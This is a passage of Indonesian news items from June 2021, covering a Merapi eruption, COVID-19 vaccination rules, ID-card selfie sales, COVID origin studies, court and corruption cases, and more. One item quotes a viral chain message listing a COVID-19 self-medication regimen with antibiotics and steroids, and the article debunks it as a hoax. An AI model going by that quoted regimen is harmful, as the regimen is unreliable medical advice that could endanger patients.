Riwayat Abu Daud muncul di media tentang tiga hakim, yaitu satu hakim masuk surga karena memutus secara benar dan dua hakim lainnya masuk neraka karena memutus perkara atas dasar zalim dan bodoh. Entah netizen mengarahkan pada Khadwanto atau tidak, namun faktanya hadits ini viral, bahkan dengan isi ceramah mubaligh yang mengutip dan menegaskan ucapan Rosulullah SAW tersebut. Bima Arya saat menjadi saksi dalam sidang HRS memposting bahwa yang dilakukannya adalah untuk melindungi warga dan menuduh RS Ummi tidak kooperatif. Netizen membalas dengan mengingatkan Bima bahwa ia akan disidang yang jauh lebih berat di akhirat. Ada pula yang mengomentari "Inget, darah ulama itu beracun, apalagi ini ada darah Rosulullah, jangan zalim". Tentu menjadi hak Bima dan Khadwanto untuk bersikap, risiko adalah konsekuensi dari sikap yang diambil. Persoalan yang muncul adalah bahwa kasus HRS merupakan kasus politik sehingga orang bertanya apakah sikap Bima dan Khadwanto itu mandiri atau ada saran, perintah, tekanan dari atasan atau penentu kebijakan politik? Tentu sulit untuk menjawab karena ruangannya remang-remang bahkan gelap. Biarlah semua bergulir melalui fakta-fakta yang cepat atau lambat dapat terbuka. Untuk sementara cukuplah dengan kalimat menggetarkan dari HRS sendiri atas ketidak-adilan yang dirasakan oleh dirinya, pengikutnya, dan masyarakat yang mengamati perjalan perjuangannya. "Sampai jumpa di pengadilan akhirat. ** Penulis adalah Pemerhati Politik dan Kebangsaan

Gunung Merapi Meletus

Yogyakarta, FNN - Gunung Merapi di perbatasan Daerah Istimewa Yogyakarta (DIY) dan Jawa Tengah meluncurkan awan panas guguran dengan jarak luncur maksimum sejauh 800 meter ke arah tenggara pada Sabtu pagi. Kepala Balai Penyelidikan dan Pengembangan Teknologi Kebencanaan Geologi (BPPTKG), Hanik Humaida melalui keterangan di Yogyakarta, Sabtu, mengatakan awan panas guguran itu terjadi pada pukul 06.46 WIB dengan amplitudo 25 mm selama 78 detik. "Jarak luncur 800 meter ke tenggara," kata dia. Sebelumnya, pada 25 Juni 2021 tiga kali awan panas guguran Merapi juga meluncur sejauh 3 km ke arah tenggara dengan kolom asap setinggi 1.000 meter di atas puncak. Awan panas guguran tersebut menyebabkan terjadinya hujan abu di beberapa wilayah di sektor tenggara Gunung Merapi. Pada periode pengamatan Sabtu (26/6) pukul 00.00 sampai 06.00 WIB, guguran lava pijar teramati tujuh kali meluncur dari Gunung Merapi dengan jarak maksimum 1.100 meter ke arah barat daya. Gunung api aktif itu juga tercatat mengalami 69 kali gempa guguran dengan amplitudo 3-30 mm selama 10-106 detik, dua kali gempa hembusan dengan amplitudo 8-9 mm selama 19-20 detik, 5 kali gempa fase banyak dengan amplitudo 3-23 mm selama 5-8 detik, serta dua gempa vulkanik dangkal dengan amplitudo 20-45 mm selama 12-16 detik. Hingga saat ini, BPPTKG masih mempertahankan status Gunung Merapi pada level III atau siaga. Guguran lava dan awan panas Gunung Merapi diperkirakan bisa berdampak ke wilayah sektor selatan-barat daya yang meliputi Sungai Kuning, Boyong, Bedog, Krasak, Bebeng, dan Putih. Saat terjadi letusan, lontaran material vulkanik dari Gunung Merapi diperkirakan dapat menjangkau daerah dalam radius tiga kilometer dari puncak gunung, demikian Hanik Humaida. (sws)

Syarat Domisili Tetap Diberlakukan untuk Proses Vaksinasi di Faskes DKI

Jakarta, FNN - Pihak Dinas Kesehatan DKI Jakarta menyatakan syarat domisili bagi warga tetap diberlakukan untuk proses vaksinasi COVID-19 di fasilitas vaksinasi wilayah Pemerintah Provinsi DKI. Pernyataan itu menyusul kebijakan Kementerian Kesehatan yang menghapus syarat domisili untuk vaksinasi COVID-19 di fasilitas Kemenkes RI. "Itu hanya berlaku di fasilitas Kemenkes. Di bawah koordinasi Pemprov DKI tetap sesuai domisili," kata Humas Dinas Kesehatan DKI Jakarta Irma Yunita melalui pesan singkat di Jakarta, Jumat. Dengan demikian, Irma menyebut pos pelayanan vaksinasi COVID-19 di bawah naungan Pemprov DKI Jakarta, seperti Puskesmas maupun fasilitas publik lainnya, tetap memberlakukan syarat KTP domisili. ​ Sementara untuk peserta vaksinasi yang memiliki KTP non-DKI wajib menyertakan surat keterangan domisili atau surat keterangan kerja di Jakarta. "Betul demikian," ucapnya. Sebelumnya, Kementerian Kesehatan menghapus persyaratan domisili kepada target sasaran vaksinasi COVID-19 di seluruh pos pelayanan milik pemerintah guna mempercepat target pencapaian 1 juta dosis per hari. "Pos pelayanan tersebut dapat memberikan pelayanan kepada semua target sasaran tanpa memandang domisili atau tempat tinggal pada KTP," kata Plt. Dirjen Pencegahan dan Pengendalian Penyakit dr Maxi Rein Rondonuwu dalam keterangan tertulis yang diterima di Jakarta, Jumat. Ketentuan tersebut tertuang dalam Surat Edaran nomor HK.02.02/I/1669/2021 tentang Percepat Pelaksanaan Vaksinasi COVID-19 melalui Kegiatan Pos Pelayanan Vaksinasi dan Optimalisasi Unit Pelaksana Teknis (UPT) Vertikal Kementerian Kesehatan. Dalam edaran itu dinyatakan percepatan vaksinasi COVID-19 dapat dilakukan melalui kegiatan pos pelayanan vaksinasi dan bekerja sama dengan TNI, Polri, Organisasi masyarakat, Unit Pelaksana Teknis (UPT) Vertikal Kementerian Kesehatan seperti Kantor Kesehatan Pelabuhan (KKP), rumah sakit vertikal, Poltekkes serta peran aktif dunia usaha. "Pos pelayanan vaksinasi Kemenkes di antaranya ada di Hang Jebat dan semua UPT Vertikal Kementerian Kesehatan, seperti Kantor Kesehatan Pelabuhan (KKP), RS Vertikal, dan Poltekkes," katanya. (sws)

Orang Tua Terpapar Covid-19, Anak Bisa Diasuh di Balai Kemensos

Jakarta, FNN - Dirjen Rehabilitasi Sosial Kementerian Sosial Harry Hikmat menyatakan pihaknya menyiapkan layanan pengasuhan anak di balai Kemensos, apabila orang tua tengah menjalani perawatan akibat terpapar COVID-19. "Bagi orang tua yang tengah menjalani perawatan COVID-19, maka anak-anak mereka harus tetap bisa dalam pengasuhan untuk sementara waktu di balai Kemensos," katanya dalam keterangan yang diterima di Jakarta, Sabtu. "Seluruh balai harus siap melayani keluarga yang membutuhkan pertolongan dan menjadi tempat bagi anak yang masih membutuhkan pengasuhan, ” tambahnya. Sebanyak 41 balai-balai Kementerian Sosial yang tersebar di seluruh Indonesia disiapkan guna merespon kasus tersebut. Hal tersebut sesuai arahan Menteri Sosial bahwa setiap balai rehabilitasi sosial memberikan layanan multifungsi. "Selain peningkatan layanan menjadi multifungsi, setiap balai milik Kementerian Sosial harus memiliki kapasitas untuk merespon kasus-kasus anak. Di 41 balai-balai itu berfungsi sebagai tempat aduan, termasuk jika ada anggota keluarga anak atau orang tuanya terpapar COVID-19, ” katanya. Ia menjelaskan berdasarkan kerja sama dengan United Nations Children's Fund (Unicef) terdapat Standard Operating Procedure (SOP) bagi anak-anak yang terdampak COVID-19. Sedangkan bagi pasien orang tanpa gejala (OTG) COVID-19 masih bisa dilayani di balai-balai dengan menyiapkan tempat khusus untuk menjalani isolasi. Keputusan untuk isolasi mandiri bisa dilihat langsung dari hasil tes usap yang secara fisik dicek oleh para petugas kesehatan di 41 balai tersebut. “Isolasi bagi OTG di balai yang ada di Jakarta berkapasitas 38 kamar, sedangkan di balai Bekasi, yaitu di balai Budi dharma dan Pangudi luhur masing-masing berkapasitas 10 kamar, satu orang satu kamar,” kata Harry Hikmat. Ketua Lembaga Perlindungan Anak Indonesia (LPAI) Seto Mulyadi menyatakan, setiap anak berhak untuk sehat dan bahagia, sehingga membutuhkan kurikulum yang tidak membebani mereka. Dia mengatakan upaya pendampingan anak-anak itu tidak sekedar fisik, melainkan harus juga dari sisi psikis. Dalam situasi seperti ini, perlu dibuat program hiburan agar anak-anak yang tengah menjalani perawatan di rumah sakit karena COVID-19 bisa tetap bermain. “Buatlah anak-anak Indonesia agar tetap gembira dan bahagia, jangan dibebani dengan target kurikulum, terlebih jangan sampai sakit dan stres, ” demikian Seto Mulyadi. (sws)

Persyaratan Domisili Peserta Vaksin Dihapus

Jakarta, FNN - Kementerian Kesehatan menghapus persyaratan domisili kepada target sasaran vaksinasi COVID-19 di seluruh pos pelayanan milik pemerintah dalam rangka mempercepat target pencapaian 1 juta dosis per hari. "Pos pelayanan tersebut dapat memberikan pelayanan kepada semua target sasaran tanpa memandang domisili atau tempat tinggal pada KTP," kata Plt. Dirjen Pencegahan dan Pengendalian Penyakit dr Maxi Rein Rondonuwu dalam keterangan tertulis yang diterima di Jakarta, Jumat. Ketentuan tersebut tertuang dalam Surat Edaran nomor HK.02.02/I/1669/2021 tentang Percepat Pelaksanaan Vaksinasi COVID-19 melalui Kegiatan Pos Pelayanan Vaksinasi dan Optimalisasi Unit Pelaksana Teknis (UPT) Vertikal Kementerian Kesehatan. Dalam edaran itu dinyatakan percepatan vaksinasi COVID-19 dapat dilakuan melalui kegiatan pos pelayanan vaksinasi dan bekerja sama dengan TNI, Polri, Organisasi masyarakat, Unit Pelaksana Teknis (UPT) Vertikal Kementerian Kesehatan seperti Kantor Kesehatan Pelabuhan (KKP), rumah sakit vertikal, Poltekkes serta peran aktif dunia usaha. “Pos pelayanan vaksinasi Kemenkes di antaranya ada di Hang Jebat dan semua UPT Vertikal Kementerian Kesehatan, seperti Kantor Kesehatan Pelabuhan (KKP), RS Vertikal, dan Poltekkes," katanya. Maxi mengatakan seluruh pos pelayanan tersebut difungsikan untuk optimalisasi vaksinasi pada Unit Pelaksana Teknis Vertikal Kementerian Kesehatan. Maxi menambahkan surat edaran itu ditujukan kepada Seluruh Direktur rumah sakit vertikal Kemenkes, seluruh direktur Poltekkes, dan seluruh Kepala Kantor Kesehatan Pelabuhan. "Pemerintah memiliki rencana melakukan percepatan pelaksanaan vaksinasi COVID-19 dengan target vaksinasi 1 juta dosis per hari melalui penyediaan vaksin dan logistik vaksinasi COVID-19 yang memenuhi persyaratan mutu, efikasi dan keamanan," katanya. Untuk itu, kata Maxi, semua pihak perlu bersinergi dan berkolaborasi untuk dapat mempercepat program vaksinasi nasional sehingga kekebalan kelompok bisa segera tercapai. "Kebutuhan vaksin dan logistik vaksinasi COVID-19 disediakan Kementerian Kesehatan sesuai dengan ketentuan yang berlaku," katanya. Vaksin dan logistik vaksinasi COVID-19 yang dialokasikan dan didistribusi pada setiap termin, katanya, dapat dimanfaatkan untuk pemberian vaksinasi dosis ke 1 dan dosis ke 2 bagi yang memerlukan dan datang ke tempat pelayanan vaksinasi. Mempertimbangkan interval vaksin COVID-19 Sinovac dosis 1 ke 2 adalah 28 hali dan vaksin COVID-19 AstraZeneca adalah 8 hingga 12 minggu, katanya, maka tidak perlu menyimpan vaksin untuk dua dosis pada waktu yang bersamaan. ( sws)

Penjualan Swafoto KTP, Marak

Jakarta, FNN - Kementerian Komunikasi dan Informatika saat ini masih menelusuri dugaan penjualan swafoto yang sedang memegang Kartu Tanda Penduduk (KTP). "Kominfo saat ini sedang melakukan penelusuran lebih lanjut terkait informasi mengenai dugaan penjualan foto selfie KTP secara tidak sah yang beredar di platform media sosial," kata Juru Bicara Kominfo, Dedy Permadi, kepada ANTARA, Sabtu. Kominfo akan segera mengambil langkah tegas setelah berkoordinasi lebih lanjut, baik secara internal maupun dengan kementerian dan lembaga terkait lainnya. Informasi kumpulan swafoto orang-orang yang sedang memegang foto KTP beredar di dunia maya, salah satunya platform Twitter. Selama ini, swafoto sambil memegang KTP merupakan salah satu metode verifikasi yang sering dilakukan ketika mendaftar layanan yang berhubungan dengan finansial. Foto-foto tersebut diduga diperjualbelikan di dunia maya. Kominfo menegaskan kepada seluruh penyelenggara sistem elektronik (PSE) wajib mematuhi semua ketentuan yang berlaku di undang-undang, termasuk mengenai pengamanan sistem elektronik dan perlindungan data pribadi. "Segala bentuk pelanggaran terhadap ketentuan yang berlaku akan diproses sesuai hukum yang berlaku," kata Dedy. Masyarakat diminta semakin berhati-hati dalam menjaga data pribadi, salah satunya dengan tidak memberikan dan menyebarkan data kepada pihak-pihak yang tidak berkepentingan. Selain itu, masyarakat juga harus menjaga keamanan gawai dan perangkat elektronik lainnya yang digunakan untuk menjaga data pribadi. Kominfo meminta masyarakat yang menemukan konten negatif, termasuk konten swafoto identitas diri yang dijual bebas, dan aktivitas di media sosial yang tidak sesuai dengan aturan di Indonesia ke kanal aduan resmi Kominfo, antara lain situs aduankonten.id. KTP merupakan salah satu dokumen yang harus dijaga keamanannya karena mengandung banyak sekali identitas pemiliknya. Dalam Pasal 58 Undang-Undang Nomor 23 Tahun 2006 tentang Adminisitrasi Kependudukan, terdapat 26 hal yang termasuk data pribadi. Di KTP, terdapat sembilan dari 26 data pribadi yang disebutkan di undang-undang tersebut, yaitu nomor induk kependudukan, nama lengkap, jenis kelamin, tempat lahir, tanggal/bulan/tahun lahir, golongan darah, agama, status perkawinan, alamat dan pekerjaan. (sws)

Hoaks Daftar Obat Covid19

Jakarta, FNN - Sebuah pesan berantai muncul di media sosial mengenai resep obat yang dapat digunakan seseorang saat menderita COVID-19. Resep itu diklaim sama seperti obat yang digunakan di rumah sakit untuk mengobati para pasien COVID-19. Berikut narasinya: "Kalau ada yg kena covid tidak perlu panik dan tidak harus ke RS kalau memang tidak terlalu parah sesak napas sampai perlu ICU dan ventilator, karena saat ini RS khusus covid semua penuh. Bisa diobati sendiri, obat di RS untuk pasien covid seperti ini: - Antibiotik: azitromycin atau zitrothromax 500 mg diminum 10 hari - Antivirus: fluvir 75 - Anti batuk dan kluarin dahak: fluimucil 200mg - Anti radang: Dexamethasone 0,5 - Turun panas: Paracetamol, sanmol - jgn panik dan Stress. Untuk jaga imun diatas 55 thn Tetap hrs minum multi vitamin C 1000 mg . D 5000 Iu . E 400 Iu . Zinc zat (besi )dan usahakan berjemur matahari pagi hari setidaknya 15 menit. Lianghua sangat bagus untuk membantu meredakan gejala spt batuk dan sesak napas diminum 3x4 kapsul sehari Silahkan di share ke semua yg membutuhkan, semoga dapat membantu dan cepat sembuh Namun, benarkah resep obat COVID-19 tersebut? Tangkapan layar pesan berantai yang berisi resep obat untuk pengobatan COVID-19. (Whatsapp) Penjelasan: Berdasarkan penelusuran ANTARA, pesan itu adalah hoaks dan telah beredar sejak akhir 2020. Mengutip pemberitaan Detik.com berjudul "Viral daftar obat untuk pasien Covid-19, ini pesan dokter paru", pemberian obat kepada orang yang sakit tetap harus sesuai dengan pengawasan tenaga medis. Dokter spesialis paru Erlang Samoedro mengatakan obat harus diberikan sesuai kondisi pasien agar mengurangi risiko efek samping dari pengonsumsian obat tersebut. Pemberitaan di Kompas.com pada 30 Desember 2020 menyebutkan masyarakat tidak boleh mengonsumsi obat yang beredar di pesan berantai tersebut secara sembarangan. Dokter Adam Prabata mengatakan obat-obat itu dapat memiliki efek samping pada pengguna jika tidak dikonsultasikan kepada dokter. Kementerian juga telah menerbitkan panduan isolasi mandiri di rumah. Panduan itu dapat dilihat di situs Covid.go.id dengan yaitu materi panduan isolasi diri bagi masyarakat umum. (sws)

Hari Ini Vaksinasi Massal di Seluruh Polda dan Polres

Jakarta, FNN - Kepolisian Republik Indonesia (Polri) melaksanakan vaksinasi massal serentak 34 polda dan jajaran polres, polsek seluruh Indonesia hari ini Sabtu 26 Juni 2021, dalam rangka mendukung program Serbuan Vaksinasi Nasional 1 juta dosis/hari dan HUT Bhayangkara ke-75. Kadiv Humas Polri Irjen Pol Argo Yuwono dalam keterangan tertulis yang diterima di Jakarta, Jumat, mengatakan vaksinasi massal Polri itu merupakan target dari Presiden Indonesia Joko Widodo (Jokowi) yang diakselerasi oleh Kapolri Jenderal Listyo Sigit Prabowo, terkait satu juta dosis per hari. "Target pelaksanaan vaksinasi besok sebanyak 1 juta, melibatkan 54.482 vaksinator dan pelaksanaannya di 34 Polda yakni 4.504 titik," tutur Argo. Selain itu, kata Argo, pelaksanaan vaksinasi ini sesuai dengan tema Hari Bhayangkara ke-75 yang diperingati di tengah pandemik COVID-19. "Tentunya sebagaimana tema Hari Bhayangkara tahun ini, yaitu Transformasi Polri Yang Presisi Mendukung Percepatan Penanganan COVID-19 Untuk Masyarakat Sehat dan Pemulihan Ekonomi Nasional Menuju Indonesia Maju," ujarnya. Argo menyebut, penyelenggaraan vaksinasi massal dengan target satu juta tersebut diharapkan terciptanya kekebalan kelompok atau herd immunity terhadap virus SARS-CoV-2 atau Corona. Meski telah divaksinasi, Argo tetap mengimbau kepada masyarakat yang untuk tetap menerapkan protokol kesehatan (prokes) dalam kehidupan sehari-hari. "Tentunya diharapkan tercapai 'herd immunity' di lingkungan masyarakat," ujar Argo. Menjelang Hari Bhayangkara ke-75, selain vaksinasi 1 juta dosis per hari, Polri juga menggelar Bakti Sosial (Baksos) serentak sebanyak 272.662 paket sembako, 200.000 masker, dan 40.000 cairan antiseptik. Baksos dilakukan mulai tanggal 25 Juni hingga 9 September 2021. Serta kegiatan kemanusiaan lainnya, seperti kegiatan donor darah, donor plasma convalesen, operasi katarak, operasi bibir sumbing, pengobatan massal, dan pelayanan penerbitan SIM bagi masyarakat yang berulang tahun pada tanggal 1 Juli 2021. Kepala Bidang Yankes Pusdokkes Polri Kombes Pol dr. Farid Armansyah menyebutkan, vaksinasi massal ini gratis bagi seluruh masyarakat di seluruh Indonesia. Pada hari pelaksanaan, kata dia, masyarakat cukup mendatangi kantor kepolisian tingkat polda, maupun polres untuk dapat divaksin COVID-19. "Syaratnya cukup bawa KTP dan usia di atas 18 tahun ke atas," kata Farid. Di tingkat Mabes Polri, kegiatan vaksinasi massal di Lapangan Bhayangkara digelar Sabtu (26/6), rencananya akan dihadiri Presiden Joko Widodo. (sws)

Studi Baru: Covid-19 Muncul Pertama Oktober 2019

Shanghai, FNN - Virus yang menyebabkan COVID-19 bisa saja mulai menyebar di China pada awal Oktober 2019, dua bulan sebelum kasus pertama diketahui di pusat kota Wuhan, sebuah studi baru menunjukkan pada hari Jumat. Para peneliti dari Universitas Kent Inggris menggunakan metode dari ilmu konservasi untuk memperkirakan bahwa SARS-CoV-2 pertama kali muncul dari awal Oktober hingga pertengahan November 2019, menurut sebuah makalah yang diterbitkan dalam jurnal PLOS Pathogens. Tanggal kemunculan virus yang paling mungkin adalah 17 November 2019, dan mungkin sudah menyebar secara global pada Januari 2020, para peneliti memperkirakan. Kasus COVID-19 pertama China terjadi pada Desember 2019 dan dikaitkan dengan pasar makanan hasil laut Huanan di Wuhan. Namun, beberapa kasus awal tidak memiliki hubungan yang diketahui dengan Huanan, menyiratkan bahwa SARS-CoV-2 sudah beredar sebelum mencapai pasar. Sebuah studi bersama yang diterbitkan oleh China dan Organisasi Kesehatan Dunia pada akhir Maret mengakui mungkin ada infeksi sporadis pada manusia sebelum wabah Wuhan. Dalam sebuah makalah yang dirilis dalam bentuk pracetak pekan ini, Jesse Bloom dari Pusat Penelitian Kanker Fred Hutchinson di Seattle memulihkan data pengurutan yang dihapus dari kasus awal COVID-19 di Tiongkok. Data menunjukkan bahwa sampel yang diambil dari pasar Huanan "tidak mewakili" SARS-CoV-2 secara keseluruhan, dan merupakan varian kuno yang beredar sebelumnya, yang menyebar ke bagian lain China. Institut Kesehatan Nasional AS mengonfirmasi kepada Reuters bahwa sampel yang digunakan dalam penelitian ini telah diserahkan ke Sequence Read Archive (SRA) pada Maret 2020 dan kemudian dihapus atas permintaan penyelidik Tiongkok, yang mengatakan akan diperbarui. Kritikus mengatakan penghapusan itu adalah bukti lebih lanjut bahwa China berusaha menutupi asal-usul COVID-19. "Mengapa para ilmuwan meminta basis data internasional untuk menghapus data penting yang memberi tahu kita tentang bagaimana COVID-19 dimulai di Wuhan?" kata Alina Chan, seorang peneliti di Harvard's Broad Institute, di Twitter. Studi lain oleh para ilmuwan Australia, yang diterbitkan pada hari Kamis di jurnal Scientific Reports, menggunakan data genom untuk menunjukkan bahwa SARS-CoV-2 mengikat reseptor manusia jauh lebih mudah daripada spesies lain, menunjukkan bahwa virus itu sudah beradaptasi dengan manusia ketika pertama kali muncul. Dikatakan mungkin ada hewan tak dikenal lain dengan afinitas yang lebih kuat yang berfungsi sebagai spesies perantara, tetapi hipotesis bahwa itu bocor dari laboratorium tidak dapat dikesampingkan. "Meskipun jelas bahwa virus awal memiliki kecenderungan tinggi untuk reseptor manusia, itu tidak berarti mereka 'buatan manusia'," kata Dominic Dwyer, ahli penyakit menular di Rumah Sakit Westmead Australia yang merupakan bagian dari tim WHO yang menyelidiki COVID- 19 di Wuhan tahun ini. "Kesimpulan seperti itu tetap spekulatif," katanya. Sampel serum masih perlu diuji untuk membuat kasus yang lebih kuat tentang asal-usul COVID-19, kata Stuart Turville, profesor di Kirby Institute, sebuah organisasi penelitian medis Australia yang menanggapi studi Universitas Kent. "Sayangnya dengan tekanan hipotesis kebocoran laboratorium saat ini dan kepekaan dalam melakukan penelitian lanjutan ini di China, mungkin perlu waktu sampai kita melihat laporan seperti itu," katanya. (sws)

PN Poso Gelar Sidang Lapangan Selesaikan Ganti Rugi Pemilik Karamba

Poso, FNN - Pengadilan Negeri Poso menggelar sidang lapangan dalam upaya menyelesaikan ganti rugi alat karamba air milik warga dengan pihak PT Poso Energy di Desa Sulewana, Kabupaten Poso, Sulawesi Tengah. Pantauan di lokasi tersebut, Jumat, sidang lapangan yang dipimpin Ketua Majelis Hakim Haryanta, SH, MH bersama hakim anggota lain dan panitera meninjau langsung keberadaan lokasi budidaya karamba ikan air tawar milik warga di tepi Sungai Poso, Desa Sulewana. Dalam sidang lapangan itu juga dihadiri 24 pemilik karamba bersama pengacara mereka Fadli Husain, SH, warga setempat dan dua pengacara PT. Poso Energy, Albert Sinay, SH. dan Muh. Irfan Syarif, SH. Menurut Fadli Husain, persoalan sesungguhnya pihak PT. Poso Energy ingin membongkar karamba itu, sementara pemilik karamba menolak dengan meminta harga ganti rugi sesuai dengan keinginan pemilik karamba. Kata Fadli, harga yang diberikan PT Poso Energy berkisar antara Rp1 juta - Rp6,5 juta per karamba, sementara pihak pemilik karamba menginginkan lebih dari harga tersebut. "Sebenarnya persoalan hanya harga saja, jika PT Poso Energy setuju dengan harga yang ditawarkan pemilik, maka mereka akan membongkar sendiri karambanya," kata Fadli. Dia juga menjelaskan tiga dari 24 pemilik karamba itu telah menerima ganti rugi, sementara sisanya masih bertahan dengan harga yang ditentukan pemilik karamba sekitar Rp150 juta per petak. Yang jadi persoalan pemilik karamba meminta daftar harga untuk dilihat langsung dan dipotret, namun pihak PT Poso Energy tidak mau memberikan data harga tersebut. "Jadi terkesan, harga ini dari perusahaan tidak seperti yang diberikan, dan diduga ada permainan harga dari oknum tertentu," katanya. Sementara pengacara Albert Sinay, SH mengatakan masalah tersebut merupakan perkara perdata cukup unik, dan ada perbedaan pendapat antara PT. Poso Energy dan para pemilik karamba mengenai lokasi itu. Albert menjelaskan lokasi karamba yang ada saat ini terlihat berada di tepi Sungai Poso, padahal sebelumnya merupakan daratan yang sudah dibeli oleh PT. Poso Energy sejak tahun 2012 dan lokasi itu memiliki sertifikat tanah. "Jadi, daratan yang dibeli oleh PT. Poso Energy sudah diprediksi akan menjadi area genangan air bila Bendungan PLTA Poso Energy mulai beroperasi," ujar Albert. Dia mengatakan pihak PT. Poso Energy juga telah memberikan penjelasan sebelumnya kepada pemilik karamba untuk membongkar alat tangkap ikan itu secara sukarela karena berada di area yang dimiliki oleh PT. Poso Energy. Namun, warga tidak mau membongkar karambanya, kecuali harus dibayar per petak Rp150 juta. Sehingga, kata dia, PT Poso Energy menggunakan haknya dengan menggugat secara perdata terhadap para warga pemilik karamba di Desa Sulewana. "Meskipun sudah berulang kali dilakukan mediasi, namun belum ada kata sepakat antara para pihak," ujarnya. PT. Poso Energy berharap warga pemilik karamba dapat mengikuti dan menghormati proses peradilan tanpa membuat karamba-karamba baru ataupun aksi unjuk rasa. (mth)

SKK Migas Dorong Peningkatan SDM Papua dalam Bidang Pertambangan

Sorong, FNN - SKK Migas Papua Maluku mendorong Universitas Papua Manokwari bermitra dengan IHS Markit - PetroPro perusahaan terdepan dalam mengelola data sains teknologi dan penyedia ahli kebutuhan industri London, guna meningkatkan SDM di bidang pertambangan. Kepala Perwakilan SKK Migas Papua Maluku, Subagyo di Sorong, Jumat, mengatakan bahwa SKK Migas dan Kontraktor Kontrak Kerja Sama (KKKS) terus mendorong kemajuan sumber daya manusia di Papua Barat. Dia mengatakan, hal tersebut seiring dengan semangat pelaksanaan program transformasi industri hulu migas yang dicanangkan oleh Kepala SKK Migas agar bisa secara nyata ikut memberdayakan SDM Papua menjadi bagian dari transformasi menuju target 1 juta barel minyak per hari di Tahun 2030. “Kami berterima kasih dan mengapresiasi bentuk kerja sama kemitraan yang telah terjadi antara IHS Markit- PetroPro dengan Universitas Negeri Papua, sebagai bukti bahwa dengan kemitraan dan komunikasi yang baik, permasalahan-permasalahan kesejahteraan pendidikan dan teknologi dapat dijembatani secara terus menerus," ujarnya. Dekan Fakultas Teknik Pertambangan dan Perminyakan UNIPA, Ir. Endra Gunawan yang memberikan keterangan terpisah, mengatakan bahwa pihaknya memberikan apresiasi kepada SKK Migas yang telah memberikan dukungan untuk memajukan sumber daya manusia mahasiswa UNIPA dengan pemberiaan software dalam bidang sains. Endra juga menyampaikan bahwa software ini akan sangat menolong terutama untuk Program Studi Perminyakan dan Program Studi Geologi yang selama ini sangat terbatas dengan software dalam bidang sains untuk pengelolaan data industri hulu migas. Disampaikan pula bahwa tahun ini Fakultas Teknik Pertambangan dan Perminyakan UNIPA sedang berproses dalam peningkatan akreditasi dan pengusulan Prodi Strata baru, sehingga dengan dukungan infrastruktur pendidikan yang diberikan saat ini, dapat menunjang kebutuhan jangka panjang nantinya. IHS Markit – PetroPro Country Manager yang diwakili Febria Airlia, menyatakan bahwa komitmen IHS Markit-PetroPro juga untuk memajukan pendidikan di bidang sains, teknologi, teknik, dan matematika. Setiap tahunnya, IHS Markit menyumbangkan produk maupun layanan teknik dan geosainsnya ke institusi pendidikan di seluruh dunia termasuk Indonesia, sehingga generasi profesional minyak dan gas berikutnya dilengkapi dengan informasi dan perangkat lunak paling canggih di industri “Di 2021 ini, IHS Markit dan PetroPro menjalin kerjasama dengan UNIPA yang dimulai dengan pemberian donasi lisensi perangkat lunak untuk Teknik Perminyakan yang kemudian akan dilanjutkan dengan pemberian beberapa sesi pelatihan untuk menunjang kegiatan proses belajar mengajar di Teknik Perminyakan UNIPA.”, kata Airlia. Airlia juga menyampaikan bahwa “Sebanyak total 20 licenses perangkat lunak yang memiliki teknologi canggih untuk keperluan evaluasi kondisi bawah permukaan bumi guna menemukan potensi potensi minyak dan gas, telah diterima oleh UNIPA. 10 licenses Kingdom dan 10 licenses Harmony, untuk keperluan kegiatan evaluasi di industri hulu migas. Total nilai marketnya kurang lebih 2 juta US dolar ”30 miliar rupiah”," tutup Airlia. (mth)

Kejati Sulteng Tahan Mantan Sekda Banggai Laut karena Kasus Korupsi

Luwuk, FNN - Kejaksaan Tinggi Provinsi Sulawesi Tengah menetapkan tersangka dan menahan mantan Plt Sekretaris Daerah (Sekda) Kabupaten Banggai Laut, IST di Rumah Tahanan Kelas IIA Palu, Jumat (25/6). Tersangka IST ditahan setelah dilakukan pemeriksaan secara maraton oleh tim penyidik yang dipimpin Asisten Pidana Khusus Kejati Sulteng Jefry SH, MH, terkait kasus dugaan penyalahgunaan anggaran di Badan Pengelolaan Keuangan dan Aset Daerah (BPKAD) Kabupaten Banggai Laut tahun 2020. Kasi Penerangan Hukum Kejati Provinsi Sulteng Reza Hidayat, SH, MH melalui keterangan rilisnya mengatakan penahanan terhadap tersangka IST yang masih menjabat Kepala BPKAD Kabupaten Banggai Laut ini berdasarkan surat perintah penahanan nomor: print 03/P.2.5 /Fd.1/06/2021. "Penahanan terhadap tersangka tersebut untuk kepentingan penyidikan," kata dia. Menurut Reza tersangka IST diduga telah melanggar UU RI Nomor 20 tahun 2001 tentang tindak pidana korupsi (Tipikor). Reza menambahkan pemeriksaan terhadap kasus dugaan korupsi itu masih terus digelar penyidik Kejati Sulteng, sehingga kemungkinan tersangka lain masih ada. "Pemeriksaan masih berjalan, tidak menutup kemungkinan akan ada tersangka lain yang menyusul," paparnya. Reza mengungkapkan saat ini pemeriksaan penyidik dilakukan maraton, baik pemeriksaan saksi maupun pemeriksaan lapangan untuk mengungkap semua pihak yang terlibat dalam perkara ini. (mth)

Bosowa School Dukung Pengembangan Ekonomi Jurnalis pada Masa Pandemi

Makassar, FNN - Bosowa School ikut mendukung pengembangan ekonomi para jurnalis di masa pandemi COVID-19, khususnya mereka yang tergabung dalam "Journalist Entrepreneur" di Makassar, Sulawesi Selatan. Itu diwujudkan melalui pameran UMKM (usaha mikro kecil menengah) yang melibatkan para jurnalis sebagai salah satu rangkaian temu alumni Bosowa School, digelar di Lapangan Basket BSM, Jalan Lanto Daeng Passewang, Makassar, Jumat-Minggu (25-27/6). Temu alumni serta pameran UMKM dan properti di Lapangan Bosowa School Makassar resmi dibuka Plt Kepala Dinas Kominfo Kota Makassar Denny Hidayat, Jumat. "Kolaborasi ini patut diapresiasi, dampaknya sangat positif. Dalam hal ini Bosowa School yang tidak hanya fokus pada bidang pendidikan tapi juga dukung UMKM tetap produktif di masa pandemi tentunya," ujarnya. Selain itu, tentu diharapkan pada kegiatan ini tetap taat protokol kesehatan. Agar katanya, semua sehat, ekonomi masyarakat juga pulih sesuai visi misi Makassar Recover. Sementara itu, Direktur Bosowa School Asrul Hidayat menyampaikan kegiatan itu bukan hanya sebagai ajang ramah tamah dalam mengeratkan hubungan silaturahmi antara alumni dan pihak sekolah, namun lebih besar cakupannya agar masyarakat luas juga ikut memeriahkan acara. “Kami bersama dengan Journalist Entrepreneur selain mengadakan pameran UMKM, juga ada donor darah, talkshow edukatif, dan kegiatan lainnya sebagai bentuk dukungan bagi UMKM untuk terus berkembang di masa pandemi COVID-19," ujar Asrul. Kegiatan ini dilaksanakan mulai 25 Juni sampai dengan 27 Juni 